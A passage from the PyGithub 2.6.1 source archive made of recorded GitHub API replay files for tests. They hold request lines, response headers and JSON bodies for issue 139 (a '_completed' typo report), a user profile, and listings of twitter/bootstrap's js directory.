missions":{"push":true,"admin":true,"pull":true},"open_issues_count":12,"issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","size":384,"issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","network_count":43,"contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","owner":{"type":"User","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","followers_url":"https://api.github.com/users/jacquev6/followers","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","organizations_url":"https://api.github.com/users/jacquev6/orgs","login":"jacquev6","id":327146}} https GET api.github.com None /repos/jacquev6/PyGithub/issues/139 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '4824'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4992'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 07:13:44 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4194b45d4744a28a5b6393ef05bd3bbc"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 08 Feb 2013 07:27:50 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_by":null,"events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/events","created_at":"2013-02-07T22:12:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139","body":"I noticed that calls to a user object (e.g. user.email, user.location etc) caused multiple calls to GitHub. Looking at GithubObject.py I see several references to __completed and one to _completed (single underscore) on line 72. Changing line 72 to use a double underscore removed the repeated calls to Github.\r\n\r\nI tried to run your tests but can't figure out how to do so? I'd have left you a pull request if so. I tried \"python -m unittest discover\" and also just running the files, I'm not familiar with the format you've used. I'm happy to run with logs etc if that's useful (some guidance on how to run the tests would be super helpful too). Thanks, Ian.","user":{"type":"User","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","followers_url":"https://api.github.com/users/ianozsvald/followers","subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","following_url":"https://api.github.com/users/ianozsvald/following","url":"https://api.github.com/users/ianozsvald","avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/ianozsvald/received_events","gravatar_id":"3d644406158b4d440111903db1f62622","organizations_url":"https://api.github.com/users/ianozsvald/orgs","starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","login":"ianozsvald","id":273210,"repos_url":"https://api.github.com/users/ianozsvald/repos"},"comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/comments","closed_at":null,"milestone":{"due_on":null,"created_at":"2013-02-07T18:19:05Z","url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21","open_issues":3,"description":"","creator":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","id":327146,"repos_url":"https://api.github.com/users/jacquev6/repos"},"closed_issues":0,"state":"open","title":"Version 1.11.1","number":21,"updated_at":"2013-02-08T07:11:03Z","id":262264,"labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21/labels"},"state":"open","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"title":"Typo in GithubObject \"self._completed\" -> \"self.__completed\"?","number":139,"html_url":"https://github.com/jacquev6/PyGithub/issues/139","pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"updated_at":"2013-02-08T07:13:44Z","id":10758585,"labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/labels{/name}","comments":1,"assignee":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","id":327146,"repos_url":"https://api.github.com/users/jacquev6/repos"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue139.testCompletion.txt0000644000175100001660000000367614756101563023270 0ustar00runnerdockerhttps GET api.github.com None /users/ianozsvald {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1278'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 07 Feb 2013 22:12:31 GMT'), ('connection', 'keep-alive'), ('etag', '"c7e39237717a6e60232f1dde7c4dcb73"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 08 Feb 2013 07:27:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_repos":26,"company":"Mor Consulting Ltd","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","followers_url":"https://api.github.com/users/ianozsvald/followers","following":4,"created_at":"2010-05-11T10:22:02Z","hireable":true,"subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","following_url":"https://api.github.com/users/ianozsvald/following","url":"https://api.github.com/users/ianozsvald","html_url":"https://github.com/ianozsvald","location":"London, UK","bio":null,"starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","followers":45,"email":null,"gravatar_id":"3d644406158b4d440111903db1f62622","repos_url":"https://api.github.com/users/ianozsvald/repos","organizations_url":"https://api.github.com/users/ianozsvald/orgs","public_gists":2,"name":"Ian Ozsvald","login":"ianozsvald","updated_at":"2013-02-07T22:12:31Z","blog":"ianozsvald.com","received_events_url":"https://api.github.com/users/ianozsvald/received_events","id":273210} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue140.setUp.txt0000644000175100001660000001427114756101563021340 0ustar00runnerdockerhttps GET api.github.com None /repos/twitter/bootstrap {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5618'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 16 Feb 2013 17:39:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bae4e11b2e038d9086f79ccf6828879"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:59:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":2126244,"name":"bootstrap","full_name":"twitter/bootstrap","owner":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/twitter/bootstrap","description":"Sleek, intuitive, and powerful front-end framework for faster and easier web development.","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","forks_url":"https://api.github.com/repos/twitter/bootstrap/forks","keys_url":"https://api.github.com/repos/twitter/bootstrap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/twitter/bootstrap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/twitter/bootstrap/teams","hooks_url":"https://api.github.com/repos/twitter/bootstrap/hooks","issue_events_url":"https://api.github.com/repos/twitter/bootstrap/issues/events{/number}","events_url":"https://api.github.com/repos/twitter/bootstrap/events","assignees_url":"https://api.github.com/repos/twitter/bootstrap/assignees{/user}","branches_url":"https://api.github.com/repos/twitter/bootstrap/branches{/branch}","tags_url":"https://api.github.com/repos/twitter/bootstrap/tags{/tag}","blobs_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/twitter/bootstrap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/twitter/bootstrap/git/refs{/sha}","trees_url":"https://api.github.com/repos/twitter/bootstrap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/twitter/bootstrap/statuses/{sha}","languages_url":"https://api.github.com/repos/twitter/bootstrap/languages","stargazers_url":"https://api.github.com/repos/twitter/bootstrap/stargazers","contributors_url":"https://api.github.com/repos/twitter/bootstrap/contributors","subscribers_url":"https://api.github.com/repos/twitter/bootstrap/subscribers","subscription_url":"https://api.github.com/repos/twitter/bootstrap/subscription","commits_url":"https://api.github.com/repos/twitter/bootstrap/commits{/sha}","git_commits_url":"https://api.github.com/repos/twitter/bootstrap/git/commits{/sha}","comments_url":"https://api.github.com/repos/twitter/bootstrap/comments{/number}","issue_comment_url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/{number}","contents_url":"https://api.github.com/repos/twitter/bootstrap/contents/{+path}","compare_url":"https://api.github.com/repos/twitter/bootstrap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/twitter/bootstrap/merges","archive_url":"https://api.github.com/repos/twitter/bootstrap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/twitter/bootstrap/downloads","issues_url":"https://api.github.com/repos/twitter/bootstrap/issues{/number}","pulls_url":"https://api.github.com/repos/twitter/bootstrap/pulls{/number}","milestones_url":"https://api.github.com/repos/twitter/bootstrap/milestones{/number}","notifications_url":"https://api.github.com/repos/twitter/bootstrap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/twitter/bootstrap/labels{/name}","created_at":"2011-07-29T21:19:00Z","updated_at":"2013-02-16T17:39:19Z","pushed_at":"2013-02-16T10:49:39Z","git_url":"git://github.com/twitter/bootstrap.git","ssh_url":"git@github.com:twitter/bootstrap.git","clone_url":"https://github.com/twitter/bootstrap.git","svn_url":"https://github.com/twitter/bootstrap","homepage":"http://twitter.github.com/bootstrap","size":2524,"watchers_count":44894,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":12535,"mirror_url":null,"open_issues_count":56,"forks":12535,"open_issues":56,"watchers":44894,"master_branch":"master","default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":12535,"organization":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue140.testGetDirContents.txt0000644000175100001660000002574614756101563024045 0ustar00runnerdockerhttps GET api.github.com None /repos/twitter/bootstrap/contents/js {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '10514'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 16 Feb 2013 17:39:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bae4e11b2e038d9086f79ccf6828879"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:40:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"name":".jshintrc","path":"js/.jshintrc","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html_url":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc"}},{"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"}},{"sha":"b5627984e4ca3b49ae63943aa9f0204c266c65af","size":2524,"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js"}},{"sha":"045927b6ba732ada14dbf5c0ec296623b37a5121","size":2841,"name":"bootstrap-button.js","path":"js/bootstrap-button.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js"}},{"sha":"604552012b170bc20579c13d724883c253dd152a","size":6053,"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js"}},{"sha":"7bbad8e43aba9a778fa54650237f7acb96e783c9","size":4735,"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js"}},{"sha":"ec86cf0d709577fc840a64123993dc69c6ae292a","size":4198,"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js"}},{"sha":"b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","size":6638,"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js"}},{"sha":"0e7774bf668c75a7b93989a1146fbb8822d5489d","size":3115,"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js"}},{"sha":"dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","size":4655,"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js"}},{"sha":"bd77eb5c358074801f20de0f46b1e2e9d1b1247b","size":3496,"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js"}},{"sha":"981319077e9bdb4ea0dcbee50dfe5715a54b4c51","size":9694,"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js"}},{"sha":"64f275778094043dc871f94ceacadbe7f74f9734","size":1756,"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js"}},{"sha":"960f2af85a7ced44c4e3190255ee3092c3665bbb","size":8320,"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js"}},{"sha":"f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","size":0,"name":"tests","path":"js/tests","type":"dir","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html_url":"https://github.com/twitter/bootstrap/tree/master/js/tests","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html":"https://github.com/twitter/bootstrap/tree/master/js/tests"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue140.testGetDirContentsThenLazyCompletionOfFile.txt0000644000175100001660000004215114756101563030630 0ustar00runnerdockerhttps GET api.github.com None /repos/twitter/bootstrap/contents/js {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '10514'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 16 Feb 2013 17:39:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bae4e11b2e038d9086f79ccf6828879"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:59:08 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"name":".jshintrc","path":"js/.jshintrc","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html_url":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc"}},{"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"}},{"sha":"b5627984e4ca3b49ae63943aa9f0204c266c65af","size":2524,"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js"}},{"sha":"045927b6ba732ada14dbf5c0ec296623b37a5121","size":2841,"name":"bootstrap-button.js","path":"js/bootstrap-button.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js"}},{"sha":"604552012b170bc20579c13d724883c253dd152a","size":6053,"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git_url":"https://api.github.com/